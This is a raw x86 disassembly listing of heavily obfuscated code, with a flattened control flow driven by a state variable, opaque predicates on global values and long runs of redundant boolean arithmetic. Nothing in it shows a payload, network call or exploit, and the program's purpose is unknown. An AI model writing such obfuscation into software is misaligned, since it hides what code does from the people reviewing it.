mov al, bl
and al, 0xff
mov byte [ebp - 0x2cb], al
mov al, byte [ebp - 0x2cc]
and cl, ch
or dh, al
mov al, byte [ebp - 0x2cb]
or al, cl
mov cl, byte [ebp - 0x2ca]
xor dh, al
mov al, byte [ebp - 0x2c9]
or ah, bl
xor ah, 0xff
or ch, 1
and ah, ch
or dh, ah
mov ch, al
xor ch, 0xff
mov byte [ebp - 0x2c5], ch
mov bl, cl
xor bl, 0xff
mov ah, 1
xor ah, 0
and ch, 0
and al, ah
mov byte [ebp - 0x2c8], al
mov al, bl
and al, 0
mov byte [ebp - 0x2c7], al
mov al, byte [ebp - 0x2c8]
and cl, ah
or ch, al
mov al, byte [ebp - 0x2c7]
or al, cl
mov cl, byte [ebp - 0x2c6]
xor ch, al
mov al, byte [ebp - 0x2c5]
or al, bl
xor al, 0xff
or ah, 0
and al, ah
or ch, al
mov al, dh
xor al, 0xff
and al, 0
mov bl, 1
xor bl, 0
and dh, bl
mov ah, ch
xor ah, 0xff
and ah, 0
and ch, bl
or al, dh
or ah, ch
xor al, ah
mov byte [ebp - 0x2c4], al
mov al, cl
and al, dl
xor cl, dl
or al, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
and al, dl
or cl, al
mov dl, 1
xor dl, 0
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 1
mov ah, dl
and ah, 0xff
mov al, ch
and al, 0
mov bl, dh
and bl, 0xff
and bh, ch
or ah, al
mov al, byte [ebp - 0x2c4]
or bl, bh
xor ah, bl
or dl, dh
xor dl, 0xff
or ch, 1
and dl, ch
or ah, dl
xor cl, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 1
or cl, ah
or dl, 1
xor cl, 0xff
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x142245f6
mov ecx, 0x6cfcafb2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b4], eax
jmp 0x4c0c7f
mov ecx, dword [ebp - 0xd8]
mov eax, dword [ebp - 0x184]
mov eax, dword [eax]
mov edx, dword [ebp - 0x180]
imul edx, dword [edx], 0x28
add eax, edx
mov eax, dword [eax + 0x10]
mov edx, dword [ebp - 0xdc]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.005d53f0
add esp, 0xc
mov dword [ebp - 0x1b4], 0x715cc40d
jmp 0x4c0c7f
mov eax, dword [ebp - 0x180]
mov eax, dword [eax]
mov edx, 0xe02dfbf2
add edx, 0
sub edx, 1
sub edx, 0xe02dfbf2
xor ecx, ecx
sub ecx, edx
xor edx, edx
sub edx, ecx
mov ecx, 0x4c027f27
add ecx, 0
sub ecx, edx
sub ecx, 0x4c027f27
sub eax, 0xd3ef7368
add eax, ecx
add eax, 0xd3ef7368
mov dword [ebp - 0xd4], eax
mov ecx, dword [0x6355c4]
mov eax, dword [0x6355c0]
mov edx, ecx
sub edx, 0xacb8d146
sub edx, 0x735993a4
add edx, 0xacb8d146
add edx, 0xe01a1e81
add edx, 0x3c716017
sub edx, 0xe01a1e81
xor esi, esi
sub esi, 0x735993a4
sub edx, esi
add edx, 0x63a9ec13
sub edx, 0x17c7ef40
sub edx, 0x63a9ec13
xor esi, esi
sub esi, 1
add edx, esi
add edx, 0xc92ac0b4
add edx, 0x17c7ef40
sub edx, 0xc92ac0b4
add edx, 0xacc2c170
add edx, 0x8d5d87f2
sub edx, 0xacc2c170
xor esi, esi
sub esi, 0x3c716017
add edx, esi
add edx, 0x423ba6ba
sub edx, 0x8d5d87f2
sub edx, 0x423ba6ba
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl bl
mov ah, bl
xor ah, 0xff
and ah, 1
mov dl, 1
xor dl, 1
mov ch, bl
and ch, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or ah, ch
or al, dl
xor ah, al
mov al, cl
xor al, 0xff
and al, 1
mov dh, 1
xor dh, 1
mov ch, cl
and ch, dh
mov dl, ah
xor dl, 0xff
and dl, 0xff
and ah, dh
or al, ch
or dl, ah
xor al, dl
mov ah, cl
xor ah, 0xff
mov dl, al
xor dl, ah
and dl, al
mov ch, cl
xor ch, 0xff
and ch, 0
mov ah, 1
xor ah, 0
mov dh, cl
and dh, ah
mov al, 1
xor al, 1
and al, 0
and ah, 1
or ch, dh
or al, ah
xor ch, al
mov al, bl
xor al, 0xff
xor ch, 0xff
mov ah, 1
xor ah, 1
or al, ch
or ah, 1
xor al, 0xff
and al, ah
mov ch, bl
xor ch, 0xff
and ch, 1
mov dh, 1
xor dh, 1
and bl, dh
mov ah, 1
xor ah, 1
and ah, 0xff
and dh, 1
or ch, bl
or ah, dh
xor ch, ah
xor ch, 0xff
mov ah, cl
xor ah, ch
and ah, cl
mov cl, al
and cl, ah
xor al, ah
or cl, al
mov al, cl
xor al, 0xff
mov bl, dl
xor bl, al
and bl, dl
mov dh, dl
xor dh, 0xff
and dh, 0
mov ah, 1
xor ah, 0
and dl, ah
mov al, cl
xor al, 0xff
and al, 0
and cl, ah
or dh, dl
or al, cl
xor dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x29ec3dad
mov ecx, 0x852ca88e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b4], eax
jmp 0x4c0c7f
mov dword [ebp - 0x1b4], 0xb4608d4a
jmp 0x4c0c7f
mov eax, dword [ebp - 0x180]
mov ecx, dword [ebp - 0xd4]
mov dword [eax], ecx
mov dword [ebp - 0x1b4], 0xe1e51e10
jmp 0x4c0c7f
mov dword [ebp - 0x1b4], 0x47cbf926
jmp 0x4c0c7f
mov eax, dword [0x6355c4]
mov ecx, dword [0x6355c0]
mov edx, eax
sub edx, 0x707d01b4
add edx, 0xffd262fd
add edx, 0x707d01b4
sub edx, 0xf412b044
sub edx, 0xf4328173
add edx, 0xf412b044
add edx, 0xc3af3e
sub edx, 0xffd262fd
sub edx, 0xc3af3e
mov esi, 0x6fc621a6
add esi, 0
sub esi, 1
sub esi, 0x6fc621a6
add edx, 0x3088db92
add edx, esi
sub edx, 0x3088db92
xor edi, edi
sub edi, 0x13a65eb1
sub edi, 0xf4328173
add edi, 0x13a65eb1
xor esi, esi
sub esi, edi
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
mov byte [ebp - 0x45a], al
cmp ecx, 0xa
setl ah
mov byte [ebp - 0x455], ah
mov cl, al
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
mov dh, al
and dh, ch
mov dl, 1
xor dl, 1
and dl, 0xff
and ch, 1
or cl, dh
or dl, ch
xor cl, dl
xor cl, 0xff
xor cl, 0
and cl, 0
mov bl, 1
xor bl, 0
and bl, 0
mov ch, 1
xor ch, 0
mov dh, ch
and dh, 0
mov dl, 1
xor dl, 1
and dl, 0
and ch, 1
or bl, dh
or dl, ch
xor bl, dl
mov dl, bl
xor dl, 0xff
mov dh, al
xor dh, dl
and dh, al
mov dl, 1
xor dl, 1
and dl, 1
mov al, 1
xor al, 1
and al, 1
or dl, al
mov ch, 1
xor ch, 0
mov al, dl
xor al, ch
and al, dl
mov dl, 1
xor dl, 1
xor bl, 0xff
mov ch, 1
xor ch, 0
or dl, bl
or ch, 0
xor dl, 0xff
and dl, ch
mov ch, cl
and ch, dh
xor cl, dh
or ch, cl
mov cl, al
and cl, dl
xor al, dl
or cl, al
mov dl, ch
xor dl, 0xff
and dl, 1
mov dh, 1
xor dh, 1
and ch, dh
mov al, cl
xor al, 0xff
and al, 0xff
and cl, dh
or dl, ch
or al, cl
xor dl, al
mov ch, ah
xor ch, 0xff
and ch, 1
mov cl, 1
xor cl, 1
mov al, ah
and al, cl
or ch, al
mov al, 1
xor al, 1
xor ch, 0xff
mov cl, 1
xor cl, 1
or al, ch
or cl, 1
xor al, 0xff
and al, cl
mov ch, 1
xor ch, 1
and ch, 0
mov dh, 1
xor dh, 0
mov bl, dh
and bl, 1
mov cl, 1
xor cl, 1
and cl, 0
and dh, 1
or ch, bl
or cl, dh
xor ch, cl
xor ch, 0xff
mov cl, ah
xor cl, ch
and cl, ah
mov ch, al
and ch, cl
xor al, cl
or ch, al
mov ah, 1
xor ah, 0
and ah, 1
mov al, 1
xor al, 1
and al, 0
or ah, al
mov cl, 1
xor cl, 1
xor ah, 0xff
mov al, 1
xor al, 1
or cl, ah
or al, 1
xor cl, 0xff
and cl, al
mov bh, 1
xor bh, 1
and bh, 1
mov al, 1
xor al, 1
and al, 1
or bh, al
xor bh, 0xff
xor bh, 0
and bh, 0
mov al, cl
xor al, 0xff
mov byte [ebp - 0x461], al
mov dh, bh
xor dh, 0xff
mov ah, 1
xor ah, 1
and al, 0xff
and cl, ah
mov bl, dh
and bl, 0xff
and bh, ah
or al, cl
mov cl, byte [ebp - 0x461]
or bl, bh
xor al, bl
or cl, dh
xor cl, 0xff
or ah, 1
and cl, ah
or al, cl
mov byte [ebp - 0x439], al
mov cl, dl
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
mov al, dl
and al, ah
or cl, al
mov al, 1
xor al, 0
and al, 1
mov dh, 1
xor dh, 1
mov bl, dh
and bl, 0
mov ah, 1
xor ah, 1
and ah, 0xff
and dh, 1
or al, bl
or ah, dh
xor al, ah
mov ah, 1
xor ah, 1
and ah, 1
mov bl, 1
xor bl, 1
mov bh, bl
and bh, 1
mov dh, 1
xor dh, 1
and dh, 0xff
and bl, 1
or ah, bh
or dh, bl
xor ah, dh
mov byte [ebp - 0x45f], ah
mov ah, cl
xor ah, 0xff
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 1
mov bh, ah
and bh, 0xff
mov byte [ebp - 0x460], bh
and cl, dh
mov bh, bl
and bh, 0xff
and al, dh
mov byte [ebp - 0x45e], al
mov al, byte [ebp - 0x460]
or al, cl
mov cl, byte [ebp - 0x45f]
mov byte [ebp - 0x45d], al
mov al, byte [ebp - 0x45e]
or bh, al
mov al, byte [ebp - 0x45d]
xor al, bh
or ah, bl
xor ah, 0xff
or dh, 1
and ah, dh
or al, ah
mov byte [ebp - 0x459], al
mov ah, 1
xor ah, 1
mov bh, cl
xor bh, 0xff
mov dh, 1
xor dh, 1
mov bl, ah
and bl, 0xff
mov al, dh
and al, 1
mov byte [ebp - 0x45c], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x45b], al
mov al, byte [ebp - 0x45c]
and cl, dh
or bl, al
mov al, byte [ebp - 0x45b]
or al, cl
mov cl, byte [ebp - 0x45a]
xor bl, al
mov al, byte [ebp - 0x459]
or ah, bh
xor ah, 0xff
or dh, 1
and ah, dh
or bl, ah
mov ah, al
xor ah, 0xff
and ah, 0
mov bh, 1
xor bh, 0
and al, bh
mov dh, 1
xor dh, 1
and dh, 0
and bh, 1
or ah, al
mov al, byte [ebp - 0x439]
or dh, bh
xor ah, dh
xor bl, 0xff
mov dh, ah
xor dh, bl
and dh, ah
mov ah, al
xor ah, 0xff
and ah, 1
mov bl, 1
xor bl, 1
and al, bl
or ah, al
mov bl, cl
xor bl, 0xff
and bl, 1
mov al, 1
xor al, 1
mov byte [ebp - 0x458], al
mov bh, cl
and bh, al
mov al, ah
xor al, 0xff
and al, 0xff
mov byte [ebp - 0x457], al
mov al, byte [ebp - 0x458]
and ah, al
mov al, byte [ebp - 0x457]
or bl, bh
or al, ah
xor bl, al
xor bl, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or bl, cl
or al, 1
xor bl, 0xff
and bl, al
mov bh, 1
xor bh, 0
and bh, 1
mov al, 1
xor al, 1
and al, 0
or bh, al
mov cl, ch
xor cl, 0xff
and cl, 1
mov al, 1
xor al, 1
mov ah, ch
and ah, al
mov byte [ebp - 0x456], ah
mov ah, bh
xor ah, 0xff
and ah, 0xff
and bh, al
mov al, byte [ebp - 0x456]
or cl, al
mov al, byte [ebp - 0x439]
or ah, bh
xor cl, ah
xor cl, 0xff
mov bh, ch
xor bh, 0xff
mov ah, 1
xor ah, 1
or cl, bh
or ah, 1
xor cl, 0xff
and cl, ah
mov byte [ebp - 0x451], cl
mov ah, al
xor ah, 0xff
and ah, 1
mov bh, 1
xor bh, 1
and al, bh
mov cl, 1
xor cl, 1
and cl, 0xff
and bh, 1
or ah, al
mov al, byte [ebp - 0x455]
or cl, bh
xor ah, cl
mov bh, al
xor bh, 0xff
and bh, 0
mov cl, 1
xor cl, 0
mov byte [ebp - 0x454], cl
and al, cl
mov cl, byte [ebp - 0x455]
mov byte [ebp - 0x453], al
mov al, ah
xor al, 0xff
and al, 0
mov byte [ebp - 0x452], al
mov al, byte [ebp - 0x454]
and ah, al
mov al, byte [ebp - 0x453]
or bh, al
mov al, byte [ebp - 0x452]
or al, ah
xor bh, al
xor bh, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or bh, cl
or al, 0
xor bh, 0xff
and bh, al
mov cl, dh
xor cl, 0xff
mov ah, bl
xor ah, 0xff
mov al, 1
xor al, 1
or cl, ah
or al, 1
xor cl, 0xff
and cl, al
mov al, dh
xor al, 0xff
mov ah, bl
and ah, al
mov al, byte [ebp - 0x451]
xor bl, 0xff
and dh, bl
or ah, dh
mov bl, cl
and bl, ah
xor cl, ah
or bl, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov dh, 1
xor dh, 1
and al, dh
mov ah, 1
xor ah, 1
and ah, 0xff
and dh, 1
or cl, al
mov al, byte [ebp - 0x451]
or ah, dh
xor cl, ah
mov byte [ebp - 0x442], cl
mov ah, bh
xor ah, 0xff
and ah, 1
mov dh, 1
xor dh, 1
mov cl, bh
and cl, dh
or ah, cl
mov cl, 1
xor cl, 1
and cl, 1
mov dh, 1
xor dh, 1
and dh, 1
or cl, dh
mov dh, byte [ebp - 0x442]
mov byte [ebp - 0x444], cl
mov cl, 1
xor cl, 1
xor dh, cl
mov cl, byte [ebp - 0x442]
and dh, cl
mov cl, byte [ebp - 0x444]
xor al, 0xff
mov byte [ebp - 0x450], al
xor cl, 0xff
mov al, 1
xor al, 1
mov byte [ebp - 0x44f], al
mov al, byte [ebp - 0x450]
or al, cl
mov cl, byte [ebp - 0x44f]
or cl, 1
xor al, 0xff
and al, cl
mov byte [ebp - 0x44e], al
mov cl, 1
xor cl, 1
mov al, ah
xor al, cl
mov cl, byte [ebp - 0x44e]
and al, ah
mov byte [ebp - 0x44b], al
mov al, byte [ebp - 0x444]
xor bh, 0xff
xor al, 0xff
mov byte [ebp - 0x44d], al
mov al, 1
xor al, 1
mov byte [ebp - 0x44c], al
mov al, byte [ebp - 0x44d]
or bh, al
mov al, byte [ebp - 0x44c]
or al, 1
xor bh, 0xff
and bh, al
mov al, byte [ebp - 0x44b]
mov byte [ebp - 0x44a], bh
mov bh, dh
and bh, cl
xor dh, cl
mov cl, byte [ebp - 0x44a]
or bh, dh
mov dh, al
xor dh, 0xff
mov byte [ebp - 0x446], dh
xor cl, 0xff
mov byte [ebp - 0x447], cl
mov cl, 1
xor cl, 1
mov byte [ebp - 0x445], cl
and dh, 0xff
and al, cl
mov cl, byte [ebp - 0x44a]
mov byte [ebp - 0x449], al
mov al, byte [ebp - 0x447]
and al, 0xff
mov byte [ebp - 0x448], al
mov al, byte [ebp - 0x445]
and cl, al
mov al, byte [ebp - 0x449]
or dh, al
mov al, byte [ebp - 0x448]
or al, cl
mov cl, byte [ebp - 0x447]
xor dh, al
mov al, byte [ebp - 0x446]
or al, cl
mov cl, byte [ebp - 0x445]
xor al, 0xff
or cl, 1
and al, cl
mov cl, byte [ebp - 0x444]
or dh, al
mov byte [ebp - 0x443], dh
mov al, bh
xor al, 0xff
and dh, al
mov al, byte [ebp - 0x443]
xor al, 0xff
and bh, al
mov al, byte [ebp - 0x442]
or dh, bh
mov byte [ebp - 0x43d], dh
mov bh, al
and bh, ah
xor al, ah
or bh, al
mov al, bh
xor al, 0xff
and al, 0
mov dh, 1
xor dh, 0
and bh, dh
mov ah, 1
xor ah, 1
and ah, 0
and dh, 1
or al, bh
or ah, dh
xor al, ah
mov byte [ebp - 0x43f], al
mov ah, 1
xor ah, 1
mov al, cl
xor al, 0xff
mov byte [ebp - 0x43e], al
mov bh, 1
xor bh, 1
mov dh, ah
and dh, 0xff
mov al, bh
and al, 1
mov byte [ebp - 0x441], al
mov al, byte [ebp - 0x43e]
and al, 0xff
mov byte [ebp - 0x440], al
mov al, byte [ebp - 0x441]
and cl, bh
or dh, al
mov al, byte [ebp - 0x440]
or al, cl
mov cl, byte [ebp - 0x43f]
xor dh, al
mov al, byte [ebp - 0x43e]
or ah, al
mov al, byte [ebp - 0x43d]
xor ah, 0xff
or bh, 1
and ah, bh
or dh, ah
xor cl, 0xff
xor dh, 0xff
mov ah, 1
xor ah, 1
or cl, dh
or ah, 1
xor cl, 0xff
and cl, ah
mov dh, al
and dh, cl
xor al, cl
or dh, al
mov al, bl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
mov cl, bl
and cl, ah
or al, cl
xor al, 0xff
xor al, 1
and al, 0xff
mov byte [ebp - 0x43a], al
mov bh, 1
xor bh, 1
and bh, 1
mov al, 1
xor al, 1
and al, 1
or bh, al
xor bl, 0xff
mov cl, bh
xor cl, 0xff
mov al, 1
xor al, 1
or bl, cl
or al, 1
xor bl, 0xff
and bl, al
mov al, dh
xor al, 0xff
and al, 1
mov byte [ebp - 0x43c], al
mov ah, 1
xor ah, 1
mov cl, dh
and cl, ah
mov al, 1
xor al, 1
and al, 0xff
mov byte [ebp - 0x43b], al
mov al, byte [ebp - 0x43c]
and ah, 1
or al, cl
mov cl, byte [ebp - 0x43b]
or cl, ah
xor al, cl
xor al, 0xff
mov cl, 1
xor cl, 1
mov ah, 1
xor ah, 0
or al, cl
mov cl, byte [ebp - 0x43a]
or ah, 0
xor al, 0xff
and al, ah
xor bh, 0xff
mov ah, dh
xor ah, bh
and ah, dh
mov dh, cl
and dh, bl
xor cl, bl
or dh, cl
mov cl, al
and cl, ah
xor al, ah
or cl, al
mov ah, dh
xor ah, 0xff
and ah, 0
mov bl, 1
xor bl, 0
and dh, bl
mov al, cl
xor al, 0xff
and al, 0
and cl, bl
or ah, dh
or al, cl
xor ah, al
mov cl, ch
xor cl, 0xff
mov al, dl
xor al, cl
and al, dl
mov dh, dl
xor dh, 0xff
mov cl, ch
and cl, dh
xor ch, 0xff
and dl, ch
or cl, dl
mov bh, al
and bh, cl
xor al, cl
or bh, al
mov bl, bh
xor bl, 0xff
and bl, 0
mov cl, 1
xor cl, 0
mov dl, bh
and dl, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or bl, dl
or al, cl
xor bl, al
xor bl, 0xff
xor bl, 1
and bl, 0xff
mov cl, 1
xor cl, 1
and cl, 1
mov al, 1
xor al, 1
and al, 1
or cl, al
xor bh, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or bh, cl
or al, 0
xor bh, 0xff
and bh, al
mov al, bl
xor al, 0xff
mov ch, bh
xor ch, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov dh, ch
and dh, 0xff
and bh, cl
or dl, bl
mov bl, byte [ebp - 0x439]
or dh, bh
xor dl, dh
or al, ch
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov al, 1
xor al, 0
and al, 1
mov cl, 1
xor cl, 1
and cl, 0
or al, cl
mov byte [ebp - 0x434], al
mov cl, bl
xor cl, 0xff
and cl, 1
mov dh, 1
xor dh, 1
mov ch, bl
and ch, dh
or cl, ch
mov byte [ebp - 0x436], cl
mov bh, 1
xor bh, 0
and bh, 1
mov cl, 1
xor cl, 1
and cl, 0
or bh, cl
mov byte [ebp - 0x430], bh
mov cl, 1
xor cl, 0
mov ch, al
xor ch, cl
and ch, al
mov dh, 1
xor dh, 0
mov al, bh
xor al, 0xff
mov cl, 1
xor cl, 0
or dh, al
mov al, byte [ebp - 0x436]
or cl, 0
xor dh, 0xff
and dh, cl
mov cl, 1
xor cl, 0
xor al, cl
mov cl, byte [ebp - 0x436]
and al, cl
xor bh, 0xff
mov cl, bl
xor cl, bh
and cl, bl
mov bh, ch
and bh, dh
xor ch, dh
or bh, ch
mov bl, al
xor bl, 0xff
mov byte [ebp - 0x435], bl
mov dh, cl
xor dh, 0xff
mov ch, 1
xor ch, 1
and bl, 0xff
and al, ch
mov byte [ebp - 0x438], al
mov al, dh
and al, 0xff
mov byte [ebp - 0x437], al
mov al, byte [ebp - 0x438]
and cl, ch
or bl, al
mov al, byte [ebp - 0x437]
or al, cl
mov cl, byte [ebp - 0x436]
xor bl, al
mov al, byte [ebp - 0x435]
or al, dh
xor al, 0xff
or ch, 1
and al, ch
or bl, al
mov ch, bh
xor ch, 0xff
and ch, 1
mov al, 1
xor al, 1
and bh, al
mov dh, bl
xor dh, 0xff
and dh, 0xff
and bl, al
mov al, byte [ebp - 0x434]
or ch, bh
or dh, bl
xor ch, dh
mov byte [ebp - 0x431], ch
mov dh, al
xor dh, 0xff
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 1
mov ch, dh
and ch, 0xff
and al, bl
mov byte [ebp - 0x433], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x432], al
mov al, byte [ebp - 0x433]
and cl, bl
or ch, al
mov al, byte [ebp - 0x432]
or al, cl
mov cl, byte [ebp - 0x431]
xor ch, al
mov al, byte [ebp - 0x430]
or dh, bh
xor dh, 0xff
or bl, 1
and dh, bl
or ch, dh
mov bh, ch
xor bh, 0xff
and bh, 1
mov dh, 1
xor dh, 1
and ch, dh
or bh, ch
mov ch, al
and ch, 0
xor al, 0
or ch, al
xor bh, 0xff
xor ch, 0xff
mov al, 1
xor al, 0
or bh, ch
or al, 0
xor bh, 0xff
and bh, al
mov al, cl
xor al, 0xff
mov byte [ebp - 0x42f], al
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 1
and al, 0xff
and cl, ch
mov bl, dh
and bl, 0xff
and bh, ch
or al, cl
mov cl, byte [ebp - 0x42f]
or bl, bh
xor al, bl
or cl, dh
xor cl, 0xff
or ch, 1
and cl, ch
or al, cl
mov cl, dl
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
and dl, ch
or cl, dl
mov dl, al
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
and al, ch
or dl, al
mov al, 1
xor al, 1
and al, 0
mov dh, 1
xor dh, 0
mov bl, dh
and bl, 1
mov ch, 1
xor ch, 1
and ch, 0
and dh, 1
or al, bl
or ch, dh
xor al, ch
mov dh, cl
and dh, dl
xor cl, dl
or dh, cl
mov cl, al
and cl, 1
xor al, 1
or cl, al
mov al, dh
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
and dh, ch
mov dl, 1
xor dl, 1
and dl, 0xff
and ch, 1
or al, dh
or dl, ch
xor al, dl
xor cl, 0xff
mov ch, al
xor ch, cl
and ch, al
mov al, ah
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
mov dh, ah
and dh, dl
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or al, dh
or cl, dl
xor al, cl
mov byte [ebp - 0x427], al
mov dl, ch
xor dl, 0xff
and dl, 1
mov dh, 1
xor dh, 1
mov cl, ch
and cl, dh
or dl, cl
mov bh, 1
xor bh, 0
and bh, 0
mov dh, 1
xor dh, 0
mov bl, dh
and bl, 0
mov cl, 1
xor cl, 1
and cl, 0
and dh, 1
or bh, bl
or cl, dh
xor bh, cl
xor al, 0xff
mov dh, 1
xor dh, 0
mov cl, 1
xor cl, 0
or al, dh
or cl, 0
xor al, 0xff
and al, cl
mov dh, bh
xor dh, 0xff
mov cl, ah
xor cl, dh
and cl, ah
mov dh, 1
xor dh, 0
mov ah, dl
xor ah, dh
and ah, dl
mov byte [ebp - 0x42b], ah
mov dh, bh
xor dh, 0xff
mov ah, ch
xor ah, dh
and ah, ch
mov byte [ebp - 0x42c], ah
mov ch, al
xor ch, 0xff
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 1
mov ah, ch
and ah, 0xff
and al, dh
mov byte [ebp - 0x42e], al
mov al, bl
and al, 0xff
mov byte [ebp - 0x42d], al
mov al, byte [ebp - 0x42e]
and cl, dh
or ah, al
mov al, byte [ebp - 0x42d]
or al, cl
mov cl, byte [ebp - 0x42c]
xor ah, al
mov al, byte [ebp - 0x42b]
or ch, bl
xor ch, 0xff
or dh, 1
and ch, dh
or ah, ch
mov byte [ebp - 0x428], ah
mov ch, al
xor ch, 0xff
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 0
mov ah, ch
and ah, 0
and al, dh
mov byte [ebp - 0x42a], al
mov al, bl
and al, 0
mov byte [ebp - 0x429], al
mov al, byte [ebp - 0x42a]
and cl, dh
or ah, al
mov al, byte [ebp - 0x429]
or al, cl
mov cl, byte [ebp - 0x428]
xor ah, al
mov al, byte [ebp - 0x427]
or ch, bl
xor ch, 0xff
or dh, 0
and ch, dh
or ah, ch
mov ch, cl
xor ch, 0xff
mov bl, ah
and bl, ch
xor ah, 0xff
and cl, ah
or bl, cl
mov cl, al
and cl, dl
xor al, dl
or cl, al
mov al, cl
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
and cl, dl
or al, cl
mov byte [ebp - 0x426], al
mov dl, 1
xor dl, 0
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 1
mov cl, dl
and cl, 0xff
mov al, ah
and al, 0
mov dh, ch
and dh, 0xff
and bh, ah
or cl, al
mov al, byte [ebp - 0x426]
or dh, bh
xor cl, dh
or dl, ch
xor dl, 0xff
or ah, 1
and dl, ah
or cl, dl
xor cl, 0xff
mov dh, al
xor dh, cl
and dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x49441da7
mov ecx, 0xdb97e046
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b4], eax
jmp 0x4c0c7f
mov eax, dword [ebp - 0x168]
mov ecx, dword [eax]
add ecx, 2
mov eax, dword [ebp - 0x168]
mov dword [eax], ecx
mov dword [ebp - 0x1b4], 0xe00a4487
jmp 0x4c0c7f
mov eax, dword [ebp - 0x164]
mov ecx, dword [eax]
xor eax, eax
sub eax, 0
xor edx, edx
sub edx, 0x1c4dc179
add eax, edx
xor edx, edx
sub edx, eax
xor eax, eax
sub eax, ecx
add edx, eax
add edx, 0x770451dd
sub edx, 0x1c4dc179
sub edx, 0x770451dd
xor esi, esi
sub esi, 0x12c61937
sub esi, 1
add esi, 0x12c61937
xor eax, eax
sub eax, 0
xor ecx, ecx
sub ecx, esi
add eax, ecx
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, ecx
add eax, 0
sub edx, 0xdbe0d64f
sub edx, eax
add edx, 0xdbe0d64f
xor eax, eax
sub eax, 0x82276313
sub eax, 0xc99adfc1
add eax, 0x82276313
xor ecx, ecx
sub ecx, edx
add eax, ecx
sub eax, 0x95d40636
add eax, 0xc99adfc1
add eax, 0x95d40636
mov dword [ebp - 0xac], eax
mov dword [ebp - 0x1b4], 0x7731d3d8
jmp 0x4c0c7f
mov eax, dword [0x6355c4]
mov ecx, dword [0x6355c0]
mov edx, eax
add edx, 0xaeee86f6
sub edx, 0xa706ecd7
sub edx, 0xaeee86f6
add edx, 0xb2811d38
sub edx, 0x5af6b4e6
sub edx, 0xb2811d38
add edx, 0xd7f62d6d
add edx, 0xa706ecd7
sub edx, 0xd7f62d6d
add edx, 0x14361d6
add edx, 0xf3cbcbf
sub edx, 0x14361d6
sub edx, 0xbcd90318
sub edx, 1
add edx, 0xbcd90318
xor esi, esi
sub esi, 0xf3cbcbf
add edx, esi
xor esi, esi
sub esi, 0x5af6b4e6
add esi, 0
sub edx, 0xd728dc9e
sub edx, esi
add edx, 0xd728dc9e
imul eax, edx
and eax, 1
cmp eax, 0
sete ah
cmp ecx, 0xa
setl dl
mov ch, ah
xor ch, 0xff
and ch, 1
mov cl, 1
xor cl, 1
mov al, ah
and al, cl
or ch, al
mov dh, dl
xor dh, 0xff
and dh, 0
mov cl, 1
xor cl, 0
mov bl, dl
and bl, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or dh, bl
or al, cl
xor dh, al
mov al, 1
xor al, 1
and al, 1
mov cl, 1
xor cl, 1
and cl, 1
or al, cl
mov cl, ch
and cl, dh
xor ch, dh
or cl, ch
mov byte [ebp - 0x5c5], cl
mov ch, 1
xor ch, 1
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 1
mov cl, ch
and cl, 0xff
mov bh, dh
and bh, 1
mov byte [ebp - 0x5c7], bh
mov bh, bl
and bh, 0xff
and al, dh
mov byte [ebp - 0x5c6], al
mov al, byte [ebp - 0x5c7]
or cl, al
mov al, byte [ebp - 0x5c6]
or bh, al
mov al, byte [ebp - 0x5c5]
xor cl, bh
or ch, bl
xor ch, 0xff
or dh, 1
and ch, dh
or cl, ch
mov bl, al
xor bl, 0xff
and bl, 1
mov ch, 1
xor ch, 1
and al, ch
or bl, al
xor bl, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or bl, cl
or al, 0
xor bl, 0xff
and bl, al
mov cl, ah
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
mov al, ah
and al, ch
or cl, al
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov ch, 1
